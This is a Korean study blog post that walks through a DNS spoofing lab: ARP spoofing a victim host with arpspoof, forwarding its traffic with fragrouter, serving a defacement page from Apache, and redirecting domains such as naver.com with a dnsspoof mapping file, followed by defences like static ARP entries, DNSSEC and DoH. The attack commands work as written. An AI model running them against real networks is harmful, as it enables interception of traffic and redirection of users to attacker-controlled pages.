DNS Spoofing 이란?
DNS (Domain Name System) 시스템을 악용하여 사용자가 특정 웹사이트에 접속하려 할 때 잘못된 IP 주소를 제공하는 공격이다. 사용자가 의도하지 않은 웹사이트로 리디렉션되거나, 공격자가 설정한 악성 웹사이트로 유도할 수 있다.
1) DNS 요청
사용자가 웹 브라우저에 URL을 입력하면, 해당 도메인 이름에 대응하는 IP 주소를 얻기 위해 DNS 서버에 요청을 보낸다.
2) DNS 응답
정상적인 DNS 서버는 요청된 도메인 이름에 대응하는 IP 주소를 반환한다.
3) DNS Spoofing 공격
공격자는 DNS 서버나 DNS 캐시를 조작하여, 사용자가 요청하는 도메인 이름에 대한 잘못된 IP 주소를 응답으로 반환하도록 한다. 결과적으로, 사용자는 잘못된 웹사이트로 리디렉션되거나 공격자가 제어하는 웹사이트로 연결된다.
fragrouter 명령어
패킷 분할(fragment) 및 재조합(reassemble) 하기 위해 사용되는 도구로, 네트워크 보안과 연관된 특수 목적을 가진 공격 등의 이유로 사용된다.
방화벽을 우회하거나 침입 탐지 시스템을 피하는 목적으로 사용되는 명령어 도구로, 패킷을 작게 분할한 후 재조립하여 전달하는 방식으로 작동하여 네트워크 장비가 트래픽 처리를 정상적으로 수행할 수 없도록 유도한다.
DNS Spoofing 설정
1) arp spoofing 수행
arpspoofing -i eth0 -t 10.10.10.10 10.10.10.254
arpspoofing -i [스푸핑을 적용할 인터페이스] -t [희생자 IP] [변조 IP]
공격 희생자인 10.10.10.10 IP 주소를 사용하는 Rocky Linux 1 에게 10.10.10.254 Gateway 의 MAC 주소를 공격자의 MAC 주소라며 변조하여 응답을 전달한다. 희생자의 트래픽을 공격자가 엿보기 위한 과정이다.
ARP Spoofing 이란?
ARP (Address Resolution Protocol) 를 악용하여 네트워크 상의 IP 주소와 MAC 주소 매핑을 조작하는 공격이다. 중간자 공격 (MITM, Man-in-the-Middle) 방식의 일종으로, 희생자가 네트워크 상에서 다른 장치와 통신할 때 공격자가 해당 트래픽을 가로채거나 변조할 수 있다.
ping 8.8.8.8
그 결과, 희생자인 Rocky Linux 1 에서 외부 인터넷으로 통신이 불가능한 것을 확인할 수 있다. 이 경우, 희생자가 공격 여부를 파악할 가능성이 있기 때문에 IP Forwarding 을 가능하도록 설정해주어야 한다.
2) IP forwarding
fragrouter -B1
fragrouter 명령어를 통해, IP Forwarding 하게 되면 희생자는 외부 인터넷과의 통신이 가능해지며 공격자가 희생자의 모든 트래픽을 확인할 수 있게 된다.
ping 8.8.8.8
fragrouter 명령 사용 후, 희생자의 외부 인터넷 통신이 가능한 것을 확인할 수 있다.
nslookup www.centos.org
또한 웹 사이트의 도메인을 조회하였을 때, KALI 에서 희생자의 웹 사이트 연결 내용을 확인할 수 있다.
3) DNS Spoofing 에 사용될 웹 페이지 설정
service apache2 restart
apache2 서비스 데몬을 재구동하게 되면, 10.10.10.20 의 IP 주소를 통해 웹 서버에 접속할 수 있게 된다.
해당 웹 페이지를 수정하여 DNS Spoofing 공격 시에 활용하도록 한다.
cat > /var/www/html/index.html
<meta charset="UTF-8">
<marquee bgcolor="red">
<font size=10 color=black>
넌 이미죽어있다
</font></marguee>
웹 서버의 기본 웹 페이지 내용을 다음과 같이 수정하여 상기와 같은 웹 페이지가 출력되도록 한다.
4) 웹 서버 IP 변조 파일 설정
vi dns
10.10.10.20 www.sevas10.com
10.10.10.20 www.naver.com
10.10.10.20 *.centos.org
10.10.10.20 *.naver.com
10.10.10.20 *.nate.com
DNS 서버에 설정된 웹 서버의 IP 주소가 아닌 다른 곳으로의 Spoofing 을 위해, 변조될 IP 주소와 웹 서버의 도메인 주소를 매핑한 파일을 생성한다.
5) DNS Spoofing 공격 수행
arpspoof -i eth0 -t 10.10.10.10 10.10.10.254
arpspoofing 명령어를 통해, Gateway 의 MAC 주소를 공격자의 주소와 동일하게 변조하여 희생자의 트래픽을 확인하도록 한다.
arp
희생자 쪽에서 arp 테이블을 확인해보면, gateway 와 공격자의 MAC 주소가 같은 값으로 변조된 것을 확인할 수 있다.
fragrouter -B1
ping 8.8.8.8
단, 희생자의 외부 인터넷 통신은 가능해야 하므로 fragrouter 명령을 통해 IP Forwarding 을 수행한다.
dnsspoof -i eth0 -f dns
다음으로 dnsspoof 명령어를 통해, 사전 생성한 DNS 변조 매핑 파일을 이용한 DNS Spoofing 을 수행한다.
결과적으로 희생자가 정상적인 사이트로 접속을 시도하더라도, 공격자가 설정한 변조 웹 페이지로 접속하게 된다. 이를 악용하여 공격을 수행하게 된다.
DNSSEC 등의 보안 정책을 통해 인증 과정을 수행하므로, Spoofing 이 정상적으로 이루어지지 않을 수 있다. 이와 같은 경우 캐시를 삭제하여 반복 수행하다보면 공격자가 설정한 웹 페이지로 접속될 것이다.
DNS Spoofing 보안 대책
MAC 주소 변조를 통해 이루어지는 공격이므로 MAC 주소를 고정하여 공격에 대비할 수 있다.
arp -s [MAC 주소를 고정할 IP 주소] [고정할 MAC 주소]
MAC 주소 고정은 다음과 같은 명령어를 통해 설정할 수 있다. arp 테이블의 Flags Mask 필드 값이 CM (Connect Mapping) 으로 설정되어있다면, 해당 주소에 대한 MAC 주소 매핑이 완료되어 완전한 연결이 이루어졌다는 의미이다.
arp -d [고정된 MAC 주소가 설정된 IP 주소]
또한 상기 명령어를 통해, 고정 MAC 주소를 해제할 수 있다.
또 다른 보안 대책으로는 다음과 같은 방법들이 존재한다.
1) DNSSEC (DNS Security Extensions) 사용
DNS 응답에 대한 인증을 제공하여 DNS 응답이 변조되지 않도록 보호하는 기술로, DNS 서버와 클라이언트 간의 트래픽이 위조되지 않도록 한다.
2) DNS 요청에 대한 암호화
DNS over HTTPS (DoH) 또는 DNS over TLS (DoT)와 같은 기술을 통해 DNS 요청을 암호화하여, 공격자가 요청을 가로채서 조작하는 것을 방지할 수 있다.
3) 정적 DNS 설정
DNS 서버를 정적으로 설정하여 DNS 요청을 특정 서버로만 전달되게 하여 공격에 대비할 수 있다.
4) DNS 캐시 청소
주기적으로 DNS 캐시를 청소하여 오래된 캐시 정보가 변조되었을 가능성을 제거한다.
5) IDS/IPS (침입 탐지 시스템/침입 방지 시스템)
DNS 스푸핑 공격을 탐지하고 차단할 수 있는 침입 탐지 시스템 또는 방지 시스템을 사용한다.
6) 라우터와 네트워크 장비 보안 강화
네트워크 장비에서 DNS 요청을 필터링하거나, DNS 요청을 신뢰할 수 있는 서버로만 전달하도록 설정한다.
공부하면서 정리한 내용을 글로 작성하였습니다.
혹시나 잘못된 내용이 있다면 댓글로 알려주시면 감사하겠습니다. :)
'Security > Network Security' 카테고리의 다른 글
[Linux / KALI] Switch Jamming 공격 (0) | 2025.03.04 |
---|---|
[Linux / Rocky] IPSEC (Internet Protocol Security) 정의 (0) | 2025.02.26 |
[Linux / KALI] SSH 인증 키 로그인 방식 (1) | 2025.02.12 |
[Linux / Rocky] X11 Forwarding (0) | 2025.02.12 |
[Linux / Rocky] SSH Tunneling 터널링 (0) | 2025.02.12 |